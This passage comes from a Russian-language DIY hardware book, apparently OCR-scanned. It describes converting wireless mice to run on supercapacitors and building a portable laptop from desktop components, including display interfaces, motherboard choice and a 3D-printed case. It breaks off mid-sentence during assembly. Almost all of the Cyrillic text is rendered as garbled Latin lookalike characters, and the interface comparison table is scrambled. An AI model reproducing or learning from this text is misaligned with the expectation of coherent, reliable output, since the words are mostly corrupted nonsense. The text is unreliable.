Mpiuib paboTaer, OQHOro 3apsijia XBaTaeT Ha NMEPHOX OT ABYX AO YEThIpeX AHEH, B 3aBH-
CHUMOCTH OT MHTEHCUBHOCTH HCIIOJIb30BAHHA.

MepBbIK nowen

3a ocHoBy creayroueit utepaund Obuta B3sta Meimb Oklick 6055W. K moeMy yauBie-
HUIO, €€ YMEHBIIEHHBIH pa3Mep COBEPILIEHHO HE MOMEILAN BCTPOUTh B Hee BTOPOH HOHH-
crop (puc. 8.5).

AKKypaTHO cpe3aeM OaTapeHHbIH OTCEK, COXpaHsAs Kpemnex KpbllkH. g aenukatHoH
PE3KH IIaCTHKa MOXXHO HCIOJIb30BaTh HOX, PYYHOH J1003UK MM HUTKY. [IpuMeHATs TyT
pacKaleHHbIH HOX W MasyIbHUK HE PEKOMEHIYIO: Y’ OYeHb MHOro BOHM OyzerT, Aa U ma-
SUTBHUK kaJko (puc. 8.6).

[anee BcTpanBaeM pa3beM s 3apsAaKU HOHUCTOpa. TyT MHE MPHUILIOCH 10JIOMATh roJio-
BY, IlIe B3iTh pa3beM MHHHMMAJILHOTO pa3Mepa, 4ToObl OH OJHOBPEMEHHO BBIIECPXKHBAJI
TOK B HECKOJIbKO aMIep, MO3BOJISJ MOALEMIATHCSA BOJIBTMETPOM, [a €LUE BMECTO OTBET-
HOM YacTH NOJIEP>KUBAJ KakoH rnonajo cypporar. Kak oka3sanoch, BceM 3THUM TpeOOBaHH-
SIM YIOBJIETBOPSIET LAHIOBbIA pa3beM, KOTOpbIA HCNOJb3yeTcs B maHenbkax ans DIP-
MuKkpocxeMm. OH ¥ ManeHbKHH, U, CYUTaM, 1eTbHOMETaNTMYEeCKHH.



Puc. 8.5, 8.6. BckpbiThe nayneHTa

YcraHaBnMBaeM ero B KpbIIKY OaTapeiiHOro orceka M GUKCHpyeM KaluleH Cynepkiies.
Hano ckazath, 4TO €ciii NpOmMi CAETaH TOYHO, TO OH M 0e3 Kies CHAUT KaK BIUTOH
(puc. 8.7).

Puc. 8.7. HoBblit pazbem 3apagku
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Taxke HE0OXOOUMO MPOCBEPNIUTH OoTBEepCcTHE 3,5 MM nmoj SMD-KHOINKY, BKIIOYAIIYO
KOHTpoOJUIep pa3psna HoHucTopa. Cama TaKTOBasi KHOIKA TOXKE (PHKCHPYETCS CYIIEPKIIEEM.

Teneps BpeMsi 3aHATHCS IUIATOH MBIIIHM: MBI JEMOHTHPYEM IpPOCCENb U MHKPOCXEMY
DC/DC-npeobpa3oBaTenss # BMECTO HHUX 3allalBaeM IE€PEMBIUKY, COCIUHSIONIYIO 3Je-
MEHT [IUTaHHUA C KOHTpoJuiepoM. Jlanee Halo U3rOoTOBUTH KOHTPOJLIEpP pa3psAaa — IO Cy-
IIECTBY, CIIUIIKOM I'POMKOE Ha3BaHHUE IJIsl CXEMBI U3 BOCbMHU neTasneit (puc. 8.8, 8.9).

Puc. 8.9. Mopa3fno cumnaTuyHee Bce 3TO BLIFMAAMWT yXKe Ha fle4aTHoi nnaTe
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Ocranoch COEJUHUTD BCE Y3JIbl M 3aKPENUTh HOHUCTOP Ha ABYXCTOPOHHMH CkOTY. Jlerko
3aMETUTh pa3beM 3apsaKkd M KHoOMky BkitodeHus (puc. 8.10). K HecyacTblo, 3alUTHI OT
Adypaka TyT He NpeJyCMOTPEHO, TaK Kak MPOCTEHILHH BapHaHT C YCTAHOBKOH IHOAA
3[1ECh HE NMPOKATHT, @ YCIOKHSATh CXEMY MHE HE XOTEJIOCh.

Puc. 8.10. Pa6oraer!

Mp1 noaknNtoYeHU BHUMATENLHO Crieau 3a NOMAPHOCTLIO, MHAYe UOHUCTOP MOXEeT npespa-
TUTBLCA B TbIKBY, BbINMIOHYB B Te6S cBOM NOTpPOXa, a Mblwka 6e3so3BpaTHO nepeHeceTcs B
MbILWWHbIN pan.

IloneBble HCIBITaHHUS MOKA3alH, YTO OT YOUTOrO JIMTHEBOrO KOHIEHCATOpa MbILE pabo-
TaeT oguH-ABa AHA. CKOJIbKO MMEHHO — 3aBHCHT OT MHTEHCHBHOCTH HCIIOJIb30BaHHA.
Kak HM cTpaHHO, Naxe OpakOBaHHBIH MOHHCTOP MPOJEMOHCTPHPOBAJ BIOJHE JOCTOM-
HbIH pe3yinbTaT. Tem HHTEpecHee ObLIO MOCMOTPETh, Kak ce0s MpOSBUT HCIPABHBIN CY-
NepKOHJeHcaTop!

BTopo# waHc

B 3toT pa3 nox Hox ornpaBuiack Meiub nonpunnyHee — A4Tech FStyler FG10. A npo-
LECC MMOILIENT YXKEe MO HaKaTaHHOH. :) (puc. 8.11)

To4HO TaK ke 51 BBIIMIIMII U3 IphI3yHa GaTapelHbli OTCEK U BMOHTHPOBAJ Pa3beM 3aps-
KH, KOTOpHIH 3apaHee ObLI epeMeltieH B 6osiee 6e3omacHoe Mecto (puc. 8.12).

C mnathl TaloKe yJaleH MOBbIIAIOWKK npeobpasoBarens. OOpatH BHUMaHHE: B 3TOH
MBILIH YX€ HCMOJb3yeTcs MUKpocxema B SMD-HCIOTHEHHH, Tak e, Kak U JpOCCelb.
Brnpouem, cxeMa OT 3TOro MEHAETCs HE CHIIBHO, U NIEPEMbIYKA BIAHBAETCA TOYHO TaK XK€
(puc. 8.13).
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Puc. 8.11. BruinoTpoweHHas Tywka

Puc. 8.12. OcTaTku kopnyca

Tenepb MOXXHO MOAKIIOYATh KOHTPOJLIEP pa3psaa U cobupath Bce obpartHo (puc. 8.14,
8.15).

EnuHcTBEHHass HEMPHATHOCTH OblNIa CBA3aHA C LIYPYNOM, HA KOTOPOM JEPXKHTCS KpBILI-
ka. YToObl €ro 3akpyTHTb, HY)KHO CHATH KpBHIKY 6aTapeifHOro oTceka, HO Hallld MOIH-
GbHKaLUMK 3TOro cAeNaTh Y€ He MO3BOJAIT. Tak YTO s MPOCBEPJIHI AOMOJIHHTENBHOE
OTBEPCTHE, Yepe3 KOTOPOE 3aKPYUHBAETCA LIYpYI.



Puc. 8.15. Tpu rotosble Mbilkn

OT ucnpaBHOro JMTHEBOrO MOHMCTOPA MBI CTAOMIBHO paboTaeT ABOE CYTOK MpH aK-
THBHOM HCHoJIb30BaHUH. U 1 nyMalo, 310 BeCbMa JOCTOHHBIN pe3ybTar.

3apsiaka

B 3aitroyenre napa clioB O 3apsAAHOM YCTPOHCTBE [UIf TaKuxX Mblwei. Jlo 3Toro s 0o HeM
yIMOMHHAN JIMIIb BCKONb3b, HO HIMEHHO OHO obecrednBaeTr OBICTPYIO 3apAAKYy MOHHCTO-
poB. A Hcnonb3y CTaHAAPTHBIA KOMIBIOTEPHBIH 0510k muTaHus Ha 300 Br.
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1 TUTHEBBIX HOHUCTOPOB BCE TPUBHAJIBHO: C IIOMOLIBIO CIELHANBHOrO IIHYPKA MBIIIb
Ha 20 c noaknroyaercs k auHUHM 3,3 B Ha pa3zseme BII, nmocne yero Mo>xHO CUUTaTh, YTO
3apsaka 3akoHyeHa. CaM HIHYPOK MaKCHMAalbHO IPOCT: Ha OJHOM KOHLIE LIaHIOBBIN
pa3beM (mmamna), a Ha JpyroM — «KpOKOIMIbI» 11 noakntodenus K BIT (puc. 8.16).

Puc. 8.16. 3apsgka ans mbilmv

BMecTo xoMmnbprOTEpHOrO 6J10Ka MOXKHO HCIIONB30BaTh J1a0OPAaTOPHBIA, TOrAa HampsKe-
HHE yIacTcs NOAHATH yxe 10 3,6 B 1 BpeMs paboThl yCTpOHCTBA YBETHYHTCA.

C 0OBIYHBIMH HOHHCTOPAMH HECKOJBKO CIIOXKHEE, TaK KaK Y HUX HOMHHAJIBHOE Hamps-
xeHue 2,7 B. BnpoueM, U ux g Toxe 3apskaro oT JuHUH 3,3 B, ToNbKO IOMONHUTENBHO
KOHTPOJIMPYIO HalpsHKEHHE Ha HOHHCTOPE BOJIBTMETPOM, NpeKpallas 3apsl Ha OTMETKE
oxoio 2,5 B. U3-3a rpomagHoii emkoctd B 500 @ 3apsa maxe TOkoM B 6 A mpoTekaeT
BOBCE HE MIHOBEHHO, U €r0 BIIOJHE MOXHO YCIEAUTb 10 BOJIBTMETPY. A H30OBITOK Ha-
NPSDKEHHUS MMPOCaXHBAETCS Ha MPOBOJAX, OT YEro OHM 3aMETHO HarpeBarTcs. Beck mpo-
uecc 3auuMaeT He Ooaslie 30 c.

belna y MeHs Taioke MIes BCTaBUTh B pa3pblB AHOJ, YTOOBI OHU3UTh HAIPSXKEHHE U OT-
Ka3aTbCs OT BOJBTMETPA, HO Ha MO/ HAJ0 CTaBUTh XOPOILUHUH paguaTop, MHaye ero o4eHb
CKOpO HaBeCTUT OeJblf MONApHBIN MYLIUCTHIN 3BepeK. Tak 4YTo 5 Ha BpeMs OTKa3alcs OT
takod uaed. Kak Tel noHumaeup, B 3ToM ciiydae naboparopusiit BII 6yner ocobenHo
Xopol.

Heckonbko c10B CTOUT cKa3aTh U Npo pexuM 3apsaa. loHucTops! crnocobHs! K ObICTpO-
My 3apsay, OQHAKO I0Cje 3TOro HampshkeHHe Ha HUX npocaxusaercs Ha 10-30% 3a He-
CKOJIbKO JIE€CATKOB MHHYT B 3aBUCHUMOCTH OT KayecTBa HoHHcTOpa. [Ipobiema pewaercs
JUIMTENbHBIM 3apsAIOM, B JaTallMTaX PEKOMEHIYIOT Iep)XaThb Ha MOHHUCTOpE 3aJaHHOE
HanpspKEHHE OKOJIO JBEHAaALATH 4acoB I TOJIHOro 3apsja. JTo AeHCTBHTENbHO pabo-
TaeT, HO Ha MpaKTHKE B peajbHOM >XU3HH ITHU MOTEPH HECYLIECTBEHHBI U UMM BIIOJHE
MOXHO ITpeHeOpeyb.
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Naeun n ynyydleHus

A yT0 e Jansie? Pa3BHBaTh TEMy MOXXHO B HECKONBKHX HampasieHHusax. Croaa onpene-
JEHHO CTOMT A00aBHTh cHcTeMy 6ecrpoBOIHOrO 3apsaa, XOTS 3TO, KOHEYHO, 3aMETHO
YCIIOXKHHT BCIO KOHCTpYKUHIO. C OecripoBOAHOH 3apsaKOH MOXXHO H MOHHCTOP ITOMEHb-
IlIe CTaBHTh, OCOOEHHO €C/IM €€ JOMONHHUTENBLHO BCTPOHTh B KOBPHK. ECTh JaXke moaxo-
namas nybnukanus (https://www.researchgate.net/publication/224721781_A_Wireless_
Battery-less_Computer_Mouse_with_Super_Capacitor_Energy Buffer) or 2007 ro-
na ¢ koHuentoM. Takxe, BO3MOXHO, CTOMT MCHONb30BaTh [UIS JIMTHEBBIX HOHHCTOPOB
step-down-nipeobpasosarens ¢ 2,2 B Ha Beixoae. Ho TyT Bce ke HYXHO CHayaia MocyH-
TaTh, AACT JIM 3TO PEaIbHbIH BBIMIPHI BO BpeMeHH pabotel, Tak kak KI1/] Takoro mpe-
obpa3oBaTens AaneKko He CTO NMPOLIEHTOB.



==
0 _jRHeEr

HoyTOyk cBOUMU pyKaMMu.
Bbibupaem komnnekTyowue
n cobupaem npouzBoauTenbHbIW N3nTon

Jaw

TrI pewnn mpuoOpecTH NPOU3BOAUTENBHBINA MOPTATHBHBIA KOMIIBIOTEP, HO CMOTPHIIL Ha
LEHEI U MeYalHIIbCsA: MOIIb U IIOPTaTHBHOCTh OJHOBPEMEHHO — JOPOT0O€ YAOBOJILCTBHE.
B 3T0ii raBe A pacckaxy, Kak coOpaTh MOPTAaTHBHBIH JISMTOIN W3 CTAHJAPTHHIX JECKTOI-
HBIX KOMIUIEKTYIOIIMX CBOMMH PYKaMH, a TaKkXXe B 4eM IUIIOCHI Takoro nogxona. Ceoe
neTuile 1 Ha3Baja Truebook.

NMouyemy Henb3sA NPOCTO
KYyNUTb MOLLHbLIA HOYTOYK?

s Hayana — B HOYTOYKH yCTaHaBJIMBAIOT MOOMIIBHBIE TPOLECCOPHI C Ype3aHHeIM TDP.

TDP (Thermal Design Power) — 3To KOHCTPYKTUBHble TpeboBaHus k Tennootsoay. JTa
BeNuMuMHa nokasbiBaeT MakcMManbHOe KONWYecTBO Tenna, KoTopoe AOoMKHa paccevBaTb
cMcTeMa oxnaxaeHus yuna.

ITpousBoauTeny npuHUMaOT BenMYuHy TDP paBHOH MakCHMMajabHOH MOIIHOCTH, KOTO-
pyto notpebasier yumn. [TorpebaseMyo MOIIHOCTD MPOIIE H3MEPHTh, H B KOHIIE KOHLIOB
BCs OHa OyeT paccesiHa B BUZE TEIUIA.

IToxazatens TDP He paBeH 3HepronoTpebiIeHHIO, XOTSA U CBA3aH ¢ HUM. B GOJBIIHHCTBE
cllydaeB mpoueccop ¢ 6onee BeicokHM 3HaYeHHeM TDP notpebnset sHepruto (M BeIaENA-
€T TEIUI0) CHJIbHEE, YEM C MEHBLINM, HO 3TO CIIPABEIJHBO IPH CPaBHEHHH MPOXYKLIUH
OIIHOTO Tpou3BoAMTENs, HanpuMep Intel unn AMD. BriBaet, yto ynn AMD c 3asBieH-
HOH MOIHOCTEIO B 95 BT axoHOMH4Hee, 4yem Intel ¢ 90 Br.

JlaBait cpaBHHM XapaKTEPUCTHKH HECKOJbKHX MOOMIBHBIX H JECKTOIMHBIX IMPOLECCOPOB
komnanuu Intel. Bozsmem mporneccop 15-2500, xOoTOpBI HCHONB3YETCs B HACTOJIBHBIX
KoMIax, u 15-2557M ans HoyTOyKOB.
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CpaBuuBaTh Mbl 6ynem Ha caiite komnanu Intel (https://ark.intel.com/content/www/rw/
ru/ark/compare.html?productlds=52209,54620). Kak Buauus, pacueTHast MOIHOCTb —
oHa xe TDP — y 3THuX npoLeccopoB CHIbHO OTAHYaeTcs. Y MoOunbHoro 15-2557M ona
paBHa 17 Bt, a y neckronsoro i5-2500 — uensix 95 Br.

He 3ps uHXeHepbl 3aHMXAlOT OCHOBHbIE IapaMETphl NPOLIECCOPOB: KOJIHYECTBO SIED,
4acTOTy mpoueccopa. 1o no3BoiseT nobutbes cHmxkenus TDP. OxnaxngaTs npoueccop
B TOHKOM KOpITyce HOyTOyKa CTaHEeT HaMHOTO IPOILE.

B 3aBoackux HOyTOykax MeHsS HE yCTpauBalOT HE TOJbKO ciabble MpOLECcCOpbl, HO H
OrpaHH4eHHble BO3MOXXHOCTH anrpeianTs xene3o. KoHeyHo, B 6osee 10porux UrpoBbIX
HOYTOyKax MOXXHO OOHOBHTH IPOLIECCOpP, TBEPAOTENbHbIH HAKOMHTEINb, ONEPATHBHYIO
NaMATh U JaXKe AUCKPETHYIO BHIECOKApTYy, HO 3a4acTylo JIMIIb B IpeJesax OJHOro IMOKo-
JIeHHs npoleccopoB. He HCkI04eHo, YTO Yepe3 HECKOJBKO JIET TBOH HOYTOYK yCTapeeT 1
Tl HHYETO0 HE CMOXEIb C 3TUM NOJENAaTh.

Eme omuH HemocTaTok 3aBOACKMX HOYTOYKOB — MaTpHLia paclojoxeHa Ha (QUKCHpO-
BaHHOM PpAacCTOSHMH OT KJIaBHATypbl, © 3TO MOXHO HCIPaBHUTh, TOJBKO MOAKIIIOYHB
BHEIIHHI MOHHTOD HJIM KJIaBHATYDY.

Bce 310 npuBeno MeHs K MBICIH coOpaTh coOCTBeHHbIH HOYTOYK. IlycTh OH He Oymer
0COOEHHO TOHKHMM, OCTaTOYHO, YTOOBI MOXXHO OBLIO NMEPEBO3UTH €r0 C MECTa HAa MECTO
6e3 ocoboro Tpyna.

NMoabop KoMNneKkTyrLWwmux

A nocraBun nepea coboit TpH OCHOBHEIE LIETH.

1. Bo3MO>XXHOCTb IIOJIHOTO anrpeiaa BceX KOMIIOHEHTOB.

2. Ucnonb3oBaHHE JECKTOMHBIX KOMIUIEKTYIOIIHX.

3. Tlomnepxka cTaHOAPTHBIX KOMIUIEKTYIOIIMX (MaTEPHHCKHX IUIaT, MAaTpHL).

[ToroBopuM 0 BBIOOpE KaXkaOr0 U3 KOMIIOHEHTOB.

MaTpuua

HOCKOJILKy ragxeT IMIaHupyeTcs: JOBOJIBHO MOGHJ’ILHBIM, A pe€UInJI, YTO MaTpHla JOJKHA
OBITH HO}’TGy‘IHOﬁ. B HOYyTaxX HCIIOJB3YKHTCS MaTpHULbl C pasHbIMH THIIAMH Pa3bEMOB.
PaCCMOTpHM OCHOBHEIC.

O Hurepdeiic LVDS (http://www.gaw.ru/html.cgi/txt/interface/lvds/lvds.htm) —
caMblil pacipocTpaHeHHbIH HHTepGeiic A1 HACTOIBHBIX MOHHTOPOB M MaTpHL HOYT-
6ykoB. LVDS obecneunBaer 6oiiee BRICOKYHO TPONYCKHYIO CIIOCOOHOCTB, ueM TMDS,
NO3TOMY (aKTHYECKH CTall CTAaHJAPTOM BHEUIHEro HHTepdeica 1Jis COBPEMEHHOH
na”enu LCD.

O eDP Embedded DisplayPort (http://al-tm.ru/stati/monitoram/edp-interfejs-embedded-
displayport)) — Bctpoennsiit nopt aucruies. Opranusauus VESA (https://vesa.org/)
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NpH3HaéT ero Kak craHaapT. HecMOTps Ha MOJNHYI0 COBMECTUMOCTb LIM(PPOBOrO CHIr-
Hana c BHewHUM DisplayPort, eDP nononHeH ¢pyHKUMAMH 1)1 UCIIOIB30BAaHHS BHYT-
PH YCTPOMCTB (3/IEKTPONMTAaHHE AMCILIEs, YaCTOTa, YPOBEHb IOJACBETKH, YIpaBlIeHHE
O6ydepom Panel Self-refresh).

Panel Self-refresh (https://ru.gecid.com/newsl/intel_panel_self_refresh_novaya_
tehnologiya_dlya_umensheniya_moschnosti_potrebleniya_displeev/) — TtexHonorus,
C NOMOLLBIO KOTOPOW aucnnern oTobpaxaeT kKapTUHKY, KOr4a HeET BUAeOCUrHana, n MeHser
ee no TpeboBaHmio rpadhnueckoro npoueccopa.

Ewe eDP nmoanepkuBaeT HHTETpaUHIO B BUIECOCHTHAN JOIMOJHUTENBHBIX UHPPOBBIX Ma-
KETOB, YTO IO3BOJISIET PEaNH30BaTh Ha IUIaTe QHcCIUles Apyrue uHrepdeiicsl. Hanpumep,
MOXHO 100aBHTh MHKpPO(OH, BeO-kaMepy, Tau-MmoBepXHOCTh, Xxab USB. B3T1o mo3Bonser
YMEHBIIHUTE KOJIMYECTBO MPOBOAHUKOB B 1UIeHde 111 MOJKIIOYEHHs K CHCTEMHOM IiaTe
U COKpaTHTh CTOMMOCTD JeTajeil 1 00cinyKUBaHHUS.

B otnnune ot LVDS B eDP cHHXeHO obliee KoJHYeCcTBO JHHUH, HEOOXOOUMBIX IJid I1e-
penaun naHHbIX. M Bc€ 6e3 moTepH kauecTBa U C KOHTPOJIEM YETKOCTH!

B 6mnxaiiune HeCKoNbKO JIET, AyMalo, cTaHaapT eDP BBITECHHT ¢ pbIHKa ycTapeBIIHH
LVDS. [Ins HarmsgHOCTH NMpHBeAy TaONMIy CPaBHEHHS TEXHHMYECKHX XapaKTEPHCTHK
uHtepdeiicos (puc. 9.1).

edp vds
HeobxoauMiie NapaMeTpt uHTepdeiica ans 2 napul 6e3 ACROMHUTENLHEX 8 nap NposoaHMKDS ANA CHTHANA U 2 NBPW ARR
nepefaun BRAECCUIHANG € PASPEILEHNEM NPOBOAHNKDB ARG TEHEPILMM HACTOT TEHEPAUM YBCTOT (ABYX@HRNBHLHE PEXO)

1080P@60H2

B 1.6, 2.7, utn 5,4 Four/cex ¢ byaywmm
CKOpOCTS OTAENLHOM Mapki 945 MbuT/cex
BO3MONHbIM YBEIMUEHNEM

lerepaunn yacTor BcrpoerHas OrfienbHan TakTOB3N AAPA HA MAHAN.

Pacumpsieman naxeTHan Nepesaqa A
DUKCUPOBIHHAA € HECHATHIM MMKCEALHLMN

Bua mepenaym AaHHbix BI/1€0, 3yAMO ¥ IONCNHUTENBHLIX
pacTpom
curHanos
CKEPOCTL ABYHANPABAEHHONO KAHANE NepeadyH or 1 Mbps no 720 Mbps ans AUX u Fast 100 kit
iz
RONONHHTENH B A3HHLIX AbX
KopupoBatue mrHana ANSI 88/108 Senalized at 7x pixel clock rate
0P Display Authentication
3aumTa oToOPANBENTO NOHTEHTA Her
HOCP Optional
X3paxrepucnaa onfHana [lepemenntiv 70X ¢ AnanasoHoM 600mvV DC eurnan ¢ ananaszotom 700 mV.

Puc. 9.1. CpasHenue LVDS u eDP

Martpuust Full HD Ha unTepdetice eDP mo LieHe HaMHOTO HHXe, 4eM C IOANEPXKKOH
LVDS. 3t10 ToXe Heo6X0AMMO YYHTHIBaTh, HO U1l MEHS BBIOOp OKa3alicsl He TakK MpPOCT.

A 1oKa 4YTO 5 OCTaHOBMJICS Ha JUAaroHaJM MaTpuusl 15,6 qroima.
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MaTepuHckasn nnara

Teneps He0OX0AUMO BHIOpPAaTh MAaTEPUHCKYIO IaTy. FIMEHHO OHa OyAeT AMKTOBAaTh CBOM
MpaBWia NOAAEPXKKH (MU €€ OTCYTCTBUS) UHTEPEHCHBIX U MPOYHUX HE MEHEE BaXKHBIX
pasbemoB (puc. 9.2).

Puc. 9.2. OcHosHbie hopM-haKkTopbl MaTepUHCKMX nnat — MacwTtab

Yr1oObl BHIOpaTh MATEPUHCKYIO IUIATy, HYXHO ONpeNeNuThcs ¢ ee (popM-dakTopom.
Jlydme Bcero k mATHagUATHAIOHMOBOH MaTpHue moaxodsaTr ¢opmarsl mini-ITX, Mini-
STX u thin mini-ITX (puc. 9.3).

O Mini-ITX moapa3symeBaeT MaTepHHCKYIO miary ¢ pasmepamu 170 x 170 MM u moa-
aepxkoi peckronHo O3Y. Ha Ttakux muatax ecTb 24-IMHOBBIA pa3beM MUTAaHUSA OT
cTangapTHoro 6yoka nutanus ATX, a BbicoTa HHTEpGEHCHBIX Pa3beMOB COCTABISAET
OKOJIO 4 CM.

Puc. 9.3. ASRock H110TM-ITX R2.0

O Mini-STX — noBonbHO HOBBIA (opM-dakTop MatepuHckux miar. CyliecTBeHHO
MeHbIIE 0 pa3mepy, yeM mini-ITX, — 147 x 140 mM. K nperumy1iectBaM MOXHO OT-
HECTH W NMHUTaHUE OT BHelHero 61oka nutanus 19 B. HexoctaTok: cloThl onepaTHB-
HOM MaMsATH paclojoXeHbl BEPTHKAIBHO OTHOCHUTEBHO IUIAThl, Pa3beMbl Ha 3aqHEH
IaHeH cleNaHsl B JBa psja, YTO YBEJIHWYMBAET €€ pa3mepbl. X, KOHEUHO, MOXHO
BBINAsATh, HO 3TO IPOTHBOPEYHT U3HAYAJIbHBIM TPEOOBAHHUAM K YHUBEPCAIBHOCTH.
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O Thin mini-ITX — pa3mep 170 x 170 MM, kak U y mini-ITX. Ho B oTH4He OT Hee BbI-
coTa 31ech — B OOHH HHTepdeicHblH pasbeM. K ToMy ke Takas miiata MOXeET ITH-
TaTbCA OT BHeIIHero 6ioka nutanus 19 B. Moii BeIGOp man Ha MaTEpHHCKYIO IIaTy
ASRock  HI10TM-ITX R2.0 (https://www.asrock.com/mb/Intel/H110TM-
ITX%20R2.0/index.ru.asp).

OpnHa U3 caMbIX BaXXHBIX ONUHKA — OO/DkeH ObITh pasbeM LVDS ans noakntoyeHus Mat-
PHILIBL.

Bce octanbHoOe

Iockonbky Ha BIOpaHHOH MaTEpHHCKOH IUIaTe B HaIM4YMH ObUT TonmbKoO passeM LVDS
40pin, TO ¥ MaTpPHUILy A PEILNJ B3ATh C TaKUM ke pasbeMoM. OCTaHOBHIICA s Ha MaTpHLE
Innolux N156B6-L0B ¢ guaronansto 15,6 mroiima.

K npoueccopy Tpe6oBanHii y MeHs ObLII0 MEHbIIE: JTHIIb Ob1 paboTan 1 6L MOLIIHEE MO-
OHIIbHBIX.

OnepatuBHas namate — iadka SO-DIMM DDR4, nakonurens — SSD Sata M2 120
I'Gaiir.

Hns nepBoi TeCTOBOH COOPKH 3TOTO XBAaTHIIO.

Kynep ans npoueccopa

51 u3y4un BapHaHThI CHa4yaaa B MECTHBIX MarasuHax, a [o3xe — Ha «AJIM3KcIIpeccey, HO
TaK 1 He Hallesn Hu4yero noxxoasuiero (puc. 9.4).

Puc. 9.4. Cuctembl oxnaxaeHus

B HaiigeHHBIX BapHaHTaX MEHs HE yCTPaHMBalO PACIOJIOXKEHHE pajgHaTopa W M3rud Ten-
JIOBBIX TPYOOK — 51 COOMpAJICS TOMECTHTh MAaTEPHHCKYIO ILIAaTy B KOpIyce TaKUM 00Opa-
30M, 4YTOOBI, BO-NEPBBIX, pa3beMbl ObUIH M0 MPaBYIO CTOPOHY OT IIOJIb30BaTeNs, a BO-
BTOPBIX, NIpoLECCOp pacrionaraics Obl Gimke K BepXHel rpaHH yctpoicTBa. Tak oxyiax-
nenue Oynet 6onee 3¢ HeKTHBHBIM.

B wutore Moit BbiOOp man Ha npoueccopHblii kynep Intel, mogens BXHTS1155LP
(https://market.yandex.ru/product--kuler-dlia-protsessora-intel-
bxhts11551p/8456141) (puc. 9.5).



0— 138 —0

Puc. 9.5. Intel BXHTS1155LP

Wnend LVDS ansa coeaMHeHus maTpuubl HOyTOyKa
M MaTepPUHCKOM NNaTthbl

W3HayanpHO s NPEANOJIOKHI, YTO 3TOT uuledd MOXKHO MO3aMMCTBOBATh y HOYTOyKa C
uaeHTHYHbIM pa3zbeMoM LVDS. 5 paGoran B cepBuHce, M Yepe3 MOH PYKH €XeIHEBHO
HNPOXOJHJIO MHOXECTBO HOYTOYKOB, HO MEHS NOCTHUIIO pa3oyapoBanue. IIpomno Tpu
rofia, pe«e YeM s Halles MoAXOJAMHUK MHe 1o pacnuHoBke nuteidd LVDS.

Korpna Bce KOMINJIEKTYOLIHE ObLTH Y ME€HA, A IPUHAJICA 3a MOJEJIMPOBAHHUE KOpPITyCa.

Co3paHue makerta

W3HayansHO KOPIYC 3aayMbIBaJICs B )OpMe KJIaCCHYECKOro HOYTOYKa: HMXKHASA 4acThb C
KJIaBHaTypOH W OCHOBHBIMH KOMIUIEKTYIOLIMMH — MaTEPUHCKOH IIAaTOH, HAKOMHUTENEM
M MIPOYMM, a BepXHAs — C MaTpuleid u BeO-kamepoit. CoeanHsnuck ObI 4acTH C MOMO-
IBIO NETEb.

JI&TICC OBLIH pa3pa60TaHbl U MOATOTOBJICHBI TPEXMEPHBIE MOACIH IJIA 3TOIr0 BapHaHTa
KopImyca. A IUIAaHHUPOBAJ CAENATh €TI0 U3 METAaJlJIa.

Puc. 9.6. 3D-mogenb
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Mounene HMXHEH 4acTH KOpIyca M3 JIMCTOBOrO METajla ¢ OTBEPCTHSAMH B OCHOBAaHHH
JUI KPEIUIeHHs: MaTePUHCKOH IIaThl, MepOPHPOBAHHBIMH OTBEPCTUAMM [UI BEHTHIIA-
UMM Ha nepeaHen rpany. C3aav pacnosoXeHsl IOWAAKH Ul KPEIUIEHHS METeNb MaT-
puLbl (pHUc. 9.6).

Ipyras cOopHas Mozenb HHWXXHEH yacTH Kopryca ¢ nepdopaunsamu s 3abopa Bo3ayxa
Ha nepeqHei rpaHy M KPEIUIEHHEM 11 MeTeNb MaTPHULbl — Ha 3afHei (puc. 9.7).

Puc. 9.7. [ipyras mogens (B pasbope)

Mogens BEpXHEH KpPBIWKH Ui HIXKHEH YacTH KopIyca MpeAcTaBisdeT coOoH IHCTOBOH
MeTan1 ¢ neppopaumsaMHu s BCTPOEHHBIX THHAMHKOB M BbIEMKY Ul CHEMHOM Oecrpo-
BOJHOM KJIaBHATYPBHI.

B mpouecce s MoHsAN, YTO HYXHO MOJHOCTBIO MepepabaThiBaTh U YIPOWIATh MOJENb KOp-
myca: YMEHbIIWTb KOPIYCHbIE JETAIH U COKPATUTD MOABHXXHBIE Y3IIBI.

HoBast KOHCTPYKUHS MONTy4YHJIaCh TOBOJBHO MPOCTOH U JIErKOH B M3TOTOBJIEHHH: IIBE OC-
HOBHBIE IUIACTHKOBbIE YAaCTH, BEPXHIOI M HHXKHIOI, KPENUM K OCHOBAHHIO M3 aJIFOMH-
HHS, HA HETO TaKXXe MPUKPEIIAITCA BCE OCHOBHbIE KOMILIEKTYIONUIME, & CBEPXY KJIaleM B
na3bl MaTpHIly H TAK)KE HAKPBIBAEM KPBILIKOH U3 THCTOBOro Metaua. [1o 6okaMm, ciesa u
CIpaBa, PacrojaraloTcs HHTepdencHble pa3beMbl, KOTOpbIE TaKXKe MPUKPHIBAEM HaKjal-
KaMHu (pHc. 9.8).

Puc. 9.8. Haknagku
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Ha BepxHe#l MuacTHMKOBOH 4acTH OOKHA ObITh mepdopanus, koropas 3anuMmaer 80%
MecTa 3agHei rpaHH, Ha ocTaibHbIX 20% pacnoyoXeHbl IBa OTBEPCTHS I CHEMHBIX
anTeHH Wi-Fi, uro0Ob1 6€3 npobieM MOXHO ObLTO YCTAaHOBUTH HAINPABIEHHYIO aHTEHHY.

Ha HikHel 4acTH Mo KpasM ycTpoeHbl nepdopauuu s 3abopa cBexero Bo3ayxa, Ha
BEPXHEH rpaHy Mo KpasiM — nepdopanuu U KperieHus Ui IByX JHHAMHKOB, a 10 LeH-
TPy — OTBEpCTHE MO KHOMKY JHaMeTpoM 12 MM s BKIIOUEHHS M OTKITIOYEHHS 3KpaHa
(puc. 9.9—9.12).

Puc. 9.9. O6wwui Bua

Puc. 9.10. 3aaHnAn rpaHb BepxHeW Yactu

Puc. 9.11. MNepeaHan rpaHb HWKHEN YacTu
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Puc. 9.12. Bug cHnay

IInactukoBble YyacTu s U3roToBMI Ha 3D-npuHTEpE, 2 METAJUIMYECKHE BBIPE3al U3 JIUCTO-
BOM CTaJIH M aTFOMHHHA.

Cb6opka

llanbme Havajacb CaMasA HyJHas 4acCThb: c60p1<a 3TOro «kKOHCTPYKTOpa».

Kopnyc

Korna y MeHs Ha pykax ObLIH IIIaCTHKOBBIE AETANIM KOPIyca, OCTaBaJlOCh HX 0OpaboTaTh
BPYYHYIO: YAAIHTh OJAAEPKKH, BHIDOBHATD YTJIbI, BKJIEUTh pe3b00BbIe BCTaBKH M3, uTO-
ObI 3aKpEMIATh HAa HUX OCTaJIbHbIE YaCTH Kopnyca. 3aTeM s [OCIEA0BaTENbHO NPUMEPST
